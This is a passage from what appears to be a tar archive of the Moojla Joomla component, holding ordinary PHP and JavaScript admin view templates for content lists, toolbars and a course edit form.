 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_batch_footer.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<!-- clear the batch values if cancel -->
<button class="btn" type="button"
onclick="" data-dismiss="modal">
	<?php echo JText::_('JCANCEL'); ?>
</button>
<!-- post the batch values if process -->
<button class="btn btn-success" type="submit"
onclick="Joomla.submitbutton('content.batch');">
	<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>views/contents/tmpl/default_body.php000064400000010146151165724410013674
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_body.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

$edit =
"index.php?option=com_moojla&view=contents&task=content.edit";

?>
<?php foreach ($this->items as $i => $item): ?>
	<?php
		$canCheckin = $this->user->authorise('core.manage',
'com_checkin') || $item->checked_out == $this->user->id
|| $item->checked_out == 0;
		$userChkOut = JFactory::getUser($item->checked_out);
		$canDo =
MoojlaHelper::getActions('content',$item,'contents');
	?>
	<tr class="row<?php echo $i % 2; ?>">
		<td class="order nowrap center hidden-phone">
		<?php if ($canDo->get('core.edit.state')): ?>
			<?php
				$iconClass = '';
				if (!$this->saveOrder)
				{
					$iconClass = ' inactive tip-top" hasTooltip"
title="' . JHtml::tooltipText('JORDERINGDISABLED');
				}
			?>
			<span class="sortable-handler<?php echo $iconClass;
?>">
				<i class="icon-menu"></i>
			</span>
			<?php if ($this->saveOrder) : ?>
				<input type="text" style="display:none"
name="order[]" size="5"
				value="<?php echo $item->ordering; ?>"
class="width-20 text-area-order " />
			<?php endif; ?>
		<?php else: ?>
			&#8942;
		<?php endif; ?>
		</td>
		<td class="nowrap center">
		<?php if ($canDo->get('core.edit')): ?>
				<?php if ($item->checked_out) : ?>
					<?php if ($canCheckin) : ?>
						<?php echo JHtml::_('grid.id', $i, $item->id); ?>
					<?php else: ?>
						&#9633;
					<?php endif; ?>
				<?php else: ?>
					<?php echo JHtml::_('grid.id', $i, $item->id); ?>
				<?php endif; ?>
		<?php else: ?>
			&#9633;
		<?php endif; ?>
		</td>
		<td class="nowrap">
			<div class="name">
				<?php if ($canDo->get('core.edit')): ?>
					<a href="<?php echo $edit; ?>&id=<?php echo
$item->id; ?>"><?php echo
$this->escape($item->contents_module_id); ?></a>
					<?php if ($item->checked_out): ?>
						<?php echo JHtml::_('jgrid.checkedout', $i,
$userChkOut->name, $item->checked_out_time, 'contents.',
$canCheckin); ?>
					<?php endif; ?>
				<?php else: ?>
					<?php echo $this->escape($item->contents_module_id); ?>
				<?php endif; ?>
			</div>
		</td>
		<td class="hidden-phone">
			<?php echo $this->escape($item->type); ?>
		</td>
		<td class="hidden-phone">
			<?php echo $this->escape($item->filename); ?>
		</td>
		<td class="hidden-phone">
			<?php echo $this->escape($item->mimetype); ?>
		</td>
		<td class="hidden-phone">
			<?php echo $this->escape($item->file); ?>
		</td>
		<td class="center">
		<?php if ($canDo->get('core.edit.state')) : ?>
				<?php if ($item->checked_out) : ?>
					<?php if ($canCheckin) : ?>
						<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'contents.', true, 'cb');
?>
					<?php else: ?>
						<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'contents.', false, 'cb');
?>
					<?php endif; ?>
				<?php else: ?>
					<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'contents.', true, 'cb');
?>
				<?php endif; ?>
		<?php else: ?>
			<?php echo JHtml::_('jgrid.published', $item->published,
$i, 'contents.', false, 'cb'); ?>
		<?php endif; ?>
		</td>
		<td class="nowrap center hidden-phone">
			<?php echo $item->id; ?>
		</td>
	</tr>
<?php endforeach;
?>views/contents/tmpl/default_foot.php000064400000002304151165724410013703
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_foot.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<tr>
	<td colspan="9"><?php echo
$this->pagination->getListFooter(); ?></td>
</tr>views/contents/tmpl/default_head.php000064400000005341151165724410013641
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_head.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<tr>
	<?php if ($this->canEdit&& $this->canState): ?>
		<th width="1%" class="nowrap center
hidden-phone">
			<?php echo JHtml::_('searchtools.sort', '',
'a.ordering', $this->listDirn, $this->listOrder, null,
'asc', 'JGRID_HEADING_ORDERING',
'icon-menu-2'); ?>
		</th>
		<th width="20" class="nowrap center">
			<?php echo JHtml::_('grid.checkall'); ?>
		</th>
	<?php else: ?>
		<th width="20" class="nowrap center
hidden-phone">
			&#9662;
		</th>
		<th width="20" class="nowrap center">
			&#9632;
		</th>
	<?php endif; ?>
	<th class="nowrap" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_CONTENT_CONTENTS_MODULE_ID_LABEL',
'a.contents_module_id', $this->listDirn, $this->listOrder);
?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo JText::_('COM_MOOJLA_CONTENT_TYPE_LABEL'); ?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo JText::_('COM_MOOJLA_CONTENT_FILENAME_LABEL');
?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo JText::_('COM_MOOJLA_CONTENT_MIMETYPE_LABEL');
?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo JText::_('COM_MOOJLA_CONTENT_FILE_LABEL'); ?>
	</th>
	<?php if ($this->canState): ?>
		<th width="10" class="nowrap center" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_CONTENT_STATUS', 'a.published',
$this->listDirn, $this->listOrder); ?>
		</th>
	<?php else: ?>
		<th width="10" class="nowrap center" >
			<?php echo JText::_('COM_MOOJLA_CONTENT_STATUS'); ?>
		</th>
	<?php endif; ?>
	<th width="5" class="nowrap center hidden-phone"
>
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_CONTENT_ID', 'a.id', $this->listDirn,
$this->listOrder); ?>
	</th>
</tr>views/contents/tmpl/default_toolbar.php000064400000007053151165724410014404
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_toolbar.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<div id="filter-bar" class="btn-toolbar">
        <div class="filter-search btn-group pull-left">
            <label for="filter_search"
class="element-invisible"><?php echo
JText::_('Search');?></label>
            <input type="text" name="filter_search"
id="filter_search" placeholder="<?php echo
JText::_('JSEARCH_FILTER'); ?>" value="<?php echo
$this->escape($this->state->get('filter.search'));
?>" class="hasTooltip" title="<?php echo
JHtml::tooltipText('Search Contents'); ?>" />
        </div>
        <div class="btn-group pull-left">
            <button type="submit" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_SUBMIT'); ?>"><i
class="icon-search"></i></button>
            <button type="button" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_CLEAR'); ?>"
onclick="document.id('filter_search').value='';this.form.submit();"><i
class="icon-remove"></i></button>
        </div>
        <div class="btn-group pull-right hidden-phone">
            <label for="limit"
class="element-invisible"><?php echo
JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC');?></label>
            <?php echo $this->pagination->getLimitBox(); ?>
        </div>
        <div class="btn-group pull-right hidden-phone">
            <label for="directionTable"
class="element-invisible"><?php echo
JText::_('JFIELD_ORDERING_DESC');?></label>
            <select name="directionTable"
id="directionTable" class="input-medium"
onchange="Joomla.orderTable()">
                <option value=""><?php echo
JText::_('JFIELD_ORDERING_DESC');?></option>
                <option value="asc" <?php if
($this->listDirn == 'asc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_ASCENDING');?></option>
                <option value="desc" <?php if
($this->listDirn == 'desc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_DESCENDING');?></option>
            </select>
        </div>
        <div class="btn-group pull-right">
            <label for="sortTable"
class="element-invisible"><?php echo
JText::_('JGLOBAL_SORT_BY');?></label>
            <select name="sortTable" id="sortTable"
class="input-medium" onchange="Joomla.orderTable()">
                <option value=""><?php echo
JText::_('JGLOBAL_SORT_BY');?></option>
                <?php echo JHtml::_('select.options',
$this->getSortFields(), 'value', 'text',
$this->listOrder);?>
            </select>
        </div>
    </div>
<div class="clearfix">
</div>views/contents/tmpl/index.html000064400000000054151165724410012514
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/contents/view.html.php000064400000020462151165724410012176
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * Moojla View class for the Contents
 */
class MoojlaViewContents extends JViewLegacy
{
	/**
	 * Contents view display method
	 * @return void
	 */
	function display($tpl = null)
	{
		if ($this->getLayout() !== 'modal')
		{
			// Include helper submenu
			MoojlaHelper::addSubmenu('contents');
		}

		// Assign data to the view
		$this->items = $this->get('Items');
		$this->pagination = $this->get('Pagination');
		$this->state = $this->get('State');
		$this->user = JFactory::getUser();
		// Load the filter form from xml.
		$this->filterForm = $this->get('FilterForm');
		// Load the active filters.
		$this->activeFilters = $this->get('ActiveFilters');
		// Add the list ordering clause.
		$this->listOrder =
$this->escape($this->state->get('list.ordering',
'a.id'));
		$this->listDirn =
$this->escape($this->state->get('list.direction',
'DESC'));
		$this->saveOrder = $this->listOrder == 'a.ordering';
		// set the return here value
		$this->return_here = urlencode(base64_encode((string)
JUri::getInstance()));
		// get global action permissions
		$this->canDo = MoojlaHelper::getActions('content');
		$this->canEdit = $this->canDo->get('core.edit');
		$this->canState =
$this->canDo->get('core.edit.state');
		$this->canCreate = $this->canDo->get('core.create');
		$this->canDelete = $this->canDo->get('core.delete');
		$this->canBatch = $this->canDo->get('core.batch');

		// We don't need toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
		{
			$this->addToolbar();
			$this->sidebar = JHtmlSidebar::render();
			// load the batch html
			if ($this->canCreate && $this->canEdit &&
$this->canState)
			{
				$this->batchDisplay = JHtmlBatch_::render();
			}
		}
		
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display the template
		parent::display($tpl);

		// Set the document
		$this->setDocument();
	}

	/**
	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		JToolBarHelper::title(JText::_('COM_MOOJLA_CONTENTS'),
'bubble-quote');
		JHtmlSidebar::setAction('index.php?option=com_moojla&view=contents');
		JFormHelper::addFieldPath(JPATH_COMPONENT . '/models/fields');

		if ($this->canCreate)
		{
			JToolBarHelper::addNew('content.add');
		}

		// Only load if there are items
		if (MoojlaHelper::checkArray($this->items))
		{
			if ($this->canEdit)
			{
				JToolBarHelper::editList('content.edit');
			}

			if ($this->canState)
			{
				JToolBarHelper::publishList('contents.publish');
				JToolBarHelper::unpublishList('contents.unpublish');
				JToolBarHelper::archiveList('contents.archive');

				if ($this->canDo->get('core.admin'))
				{
					JToolBarHelper::checkin('contents.checkin');
				}
			}

			// Add a batch button
			if ($this->canBatch && $this->canCreate &&
$this->canEdit && $this->canState)
			{
				// Get the toolbar object instance
				$bar = JToolBar::getInstance('toolbar');
				// set the batch button name
				$title = JText::_('JTOOLBAR_BATCH');
				// Instantiate a new JLayoutFile instance and render the batch button
				$layout = new JLayoutFile('joomla.toolbar.batch');
				// add the button to the page
				$dhtml = $layout->render(array('title' => $title));
				$bar->appendButton('Custom', $dhtml, 'batch');
			}

			if ($this->state->get('filter.published') == -2
&& ($this->canState && $this->canDelete))
			{
				JToolbarHelper::deleteList('', 'contents.delete',
'JTOOLBAR_EMPTY_TRASH');
			}
			elseif ($this->canState && $this->canDelete)
			{
				JToolbarHelper::trash('contents.trash');
			}
		}

		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('contents');
		if (MoojlaHelper::checkString($help_url))
		{
				JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}

		// add the options comp button
		if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
		{
			JToolBarHelper::preferences('com_moojla');
		}

		// Only load published batch if state and batch is allowed
		if ($this->canState && $this->canBatch)
		{
			JHtmlBatch_::addListSelection(
				JText::_('COM_MOOJLA_KEEP_ORIGINAL_STATE'),
				'batch[published]',
				JHtml::_('select.options',
JHtml::_('jgrid.publishedOptions', array('all' =>
false)), 'value', 'text', '', true)
			);
		}

		// Only load Contents Module Id batch if create, edit, and batch is
allowed
		if ($this->canBatch && $this->canCreate &&
$this->canEdit)
		{
			// Set Contents Module Id Selection
			$this->contents_module_idOptions =
JFormHelper::loadFieldType('contentsfiltercontentsmoduleid')->options;
			// We do some sanitation for Contents Module Id filter
			if (MoojlaHelper::checkArray($this->contents_module_idOptions)
&&
				isset($this->contents_module_idOptions[0]->value) &&
				!MoojlaHelper::checkString($this->contents_module_idOptions[0]->value))
			{
				unset($this->contents_module_idOptions[0]);
			}
			// Contents Module Id Batch Selection
			JHtmlBatch_::addListSelection(
				'- Keep Original
'.JText::_('COM_MOOJLA_CONTENT_CONTENTS_MODULE_ID_LABEL').'
-',
				'batch[contents_module_id]',
				JHtml::_('select.options',
$this->contents_module_idOptions, 'value', 'text')
			);
		}

		// Only load Mimetype batch if create, edit, and batch is allowed
		if ($this->canBatch && $this->canCreate &&
$this->canEdit)
		{
			// Set Mimetype Selection
			$this->mimetypeOptions =
JFormHelper::loadFieldType('contentsfiltermimetype')->options;
			// We do some sanitation for Mimetype filter
			if (MoojlaHelper::checkArray($this->mimetypeOptions) &&
				isset($this->mimetypeOptions[0]->value) &&
				!MoojlaHelper::checkString($this->mimetypeOptions[0]->value))
			{
				unset($this->mimetypeOptions[0]);
			}
			// Mimetype Batch Selection
			JHtmlBatch_::addListSelection(
				'- Keep Original
'.JText::_('COM_MOOJLA_CONTENT_MIMETYPE_LABEL').'
-',
				'batch[mimetype]',
				JHtml::_('select.options', $this->mimetypeOptions,
'value', 'text')
			);
		}
	}

	/**
	 * Method to set up the document properties
	 *
	 * @return void
	 */
	protected function setDocument()
	{
		if (!isset($this->document))
		{
			$this->document = JFactory::getDocument();
		}
		$this->document->setTitle(JText::_('COM_MOOJLA_CONTENTS'));
		$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/contents.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
	}

	/**
	 * Escapes a value for output in a view script.
	 *
	 * @param   mixed  $var  The output to escape.
	 *
	 * @return  mixed  The escaped value.
	 */
	public function escape($var)
	{
		if(strlen($var) > 50)
		{
			// use the helper htmlEscape method instead and shorten the string
			return MoojlaHelper::htmlEscape($var, $this->_charset, true);
		}
		// use the helper htmlEscape method instead.
		return MoojlaHelper::htmlEscape($var, $this->_charset);
	}

	/**
	 * Returns an array of fields the table can be sorted by
	 *
	 * @return  array  Array containing the field name to sort by as the key
and display text as value
	 */
	protected function getSortFields()
	{
		return array(
			'a.ordering' =>
JText::_('JGRID_HEADING_ORDERING'),
			'a.published' => JText::_('JSTATUS'),
			'a.contents_module_id' =>
JText::_('COM_MOOJLA_CONTENT_CONTENTS_MODULE_ID_LABEL'),
			'a.id' => JText::_('JGRID_HEADING_ID')
		);
	}
}
views/course/submitbutton.js000064400000002743151165724410012312
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		submitbutton.js
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

Joomla.submitbutton = function(task)
{
	if (task == ''){
		return false;
	} else { 
		var action = task.split('.');
		if (action[1] == 'cancel' || action[1] == 'close' ||
document.formvalidator.isValid(document.getElementById("adminForm"))){
			Joomla.submitform(task, document.getElementById("adminForm"));
			return true;
		} else {
			alert(Joomla.JText._('course, some values are not
acceptable.','Some values are unacceptable'));
			return false;
		}
	}
}views/course/tmpl/edit.php000064400000014357151165724410011633
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		edit.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
$componentParams = $this->params; // will be removed just use
$this->params instead
?>
<script type="text/javascript">
	// waiting spinner
	var outerDiv = jQuery('body');
	jQuery('<div id="loading"></div>')
		.css("background", "rgba(255, 255, 255, .8)
url('components/com_moojla/assets/images/import.gif') 50% 15%
no-repeat")
		.css("top", outerDiv.position().top -
jQuery(window).scrollTop())
		.css("left", outerDiv.position().left -
jQuery(window).scrollLeft())
		.css("width", outerDiv.width())
		.css("height", outerDiv.height())
		.css("position", "fixed")
		.css("opacity", "0.80")
		.css("-ms-filter",
"progid:DXImageTransform.Microsoft.Alpha(Opacity = 80)")
		.css("filter", "alpha(opacity = 80)")
		.css("display", "none")
		.appendTo(outerDiv);
	jQuery('#loading').show();
	// when page is ready remove and show
	jQuery(window).load(function() {
		jQuery('#moojla_loader').fadeIn('fast');
		jQuery('#loading').hide();
	});
</script>
<div id="moojla_loader" style="display: none;">
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&layout=edit&id='.
(int) $this->item->id . $this->referral); ?>"
method="post" name="adminForm" id="adminForm"
class="form-validate" enctype="multipart/form-data">

	<?php echo JLayoutHelper::render('course.details_above',
$this); ?>
<div class="form-horizontal">

	<?php echo JHtml::_('bootstrap.startTabSet',
'courseTab', array('active' =>
'details')); ?>

	<?php echo JHtml::_('bootstrap.addTab',
'courseTab', 'details',
JText::_('COM_MOOJLA_COURSE_DETAILS', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo JLayoutHelper::render('course.details_left',
$this); ?>
			</div>
			<div class="span6">
				<?php echo JLayoutHelper::render('course.details_right',
$this); ?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>

	<?php echo JHtml::_('bootstrap.addTab',
'courseTab', 'templates',
JText::_('COM_MOOJLA_COURSE_TEMPLATES', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo JLayoutHelper::render('course.templates_left',
$this); ?>
			</div>
			<div class="span6">
				<?php echo JLayoutHelper::render('course.templates_right',
$this); ?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>

	<?php echo JHtml::_('bootstrap.addTab',
'courseTab', 'moodle_access',
JText::_('COM_MOOJLA_COURSE_MOODLE_ACCESS', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo
JLayoutHelper::render('course.moodle_access_left', $this); ?>
			</div>
			<div class="span6">
				<?php echo
JLayoutHelper::render('course.moodle_access_right', $this); ?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>

	<?php echo JHtml::_('bootstrap.addTab',
'courseTab', 'video',
JText::_('COM_MOOJLA_COURSE_VIDEO', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span12">
				<?php echo JLayoutHelper::render('course.video_left',
$this); ?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>

	<?php echo JHtml::_('bootstrap.addTab',
'courseTab', 'audio',
JText::_('COM_MOOJLA_COURSE_AUDIO', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span12">
				<?php echo JLayoutHelper::render('course.audio_left',
$this); ?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>

	<?php $this->ignore_fieldsets =
array('details','metadata','vdmmetadata','accesscontrol');
?>
	<?php $this->tab_name = 'courseTab'; ?>
	<?php echo JLayoutHelper::render('joomla.edit.params',
$this); ?>

	<?php if ($this->canDo->get('core.edit.created_by') ||
$this->canDo->get('core.edit.created') ||
$this->canDo->get('core.edit.state') ||
($this->canDo->get('course.delete') &&
$this->canDo->get('core.edit.state'))) : ?>
	<?php echo JHtml::_('bootstrap.addTab',
'courseTab', 'publishing',
JText::_('COM_MOOJLA_COURSE_PUBLISHING', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo JLayoutHelper::render('course.publishing',
$this); ?>
			</div>
			<div class="span6">
				<?php echo JLayoutHelper::render('course.metadata',
$this); ?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php endif; ?>

	<?php if ($this->canDo->get('core.admin')) : ?>
	<?php echo JHtml::_('bootstrap.addTab',
'courseTab', 'permissions',
JText::_('COM_MOOJLA_COURSE_PERMISSION', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span12">
				<fieldset class="adminform">
					<div class="adminformlist">
					<?php foreach
($this->form->getFieldset('accesscontrol') as $field):
?>
						<div>
							<?php echo $field->label; echo $field->input;?>
						</div>
						<div class="clearfix"></div>
					<?php endforeach; ?>
					</div>
				</fieldset>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php endif; ?>

	<?php echo JHtml::_('bootstrap.endTabSet'); ?>

	<div>
		<input type="hidden" name="task"
value="course.edit" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</div>
</form>
</div>
views/course/tmpl/index.html000064400000000054151165724410012157
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/course/view.html.php000064400000015354151165724410011645
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
